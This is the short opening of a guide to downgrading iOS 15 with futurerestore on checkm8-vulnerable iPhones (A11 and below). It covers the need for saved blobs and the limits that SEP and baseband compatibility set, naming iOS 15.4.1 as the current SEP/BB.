How to downgrade from iOS 15

This is a guide for downgrading (or upgrading) to unsigned versions with futurerestore on checkm8 devices (A11 and below). You must have blobs for the version you want to go to, and SEP/BB compatibility may limit how far you can go.

Current SEP compatibility

The latest SEP/BB as of right now is iOS 15.4.1.
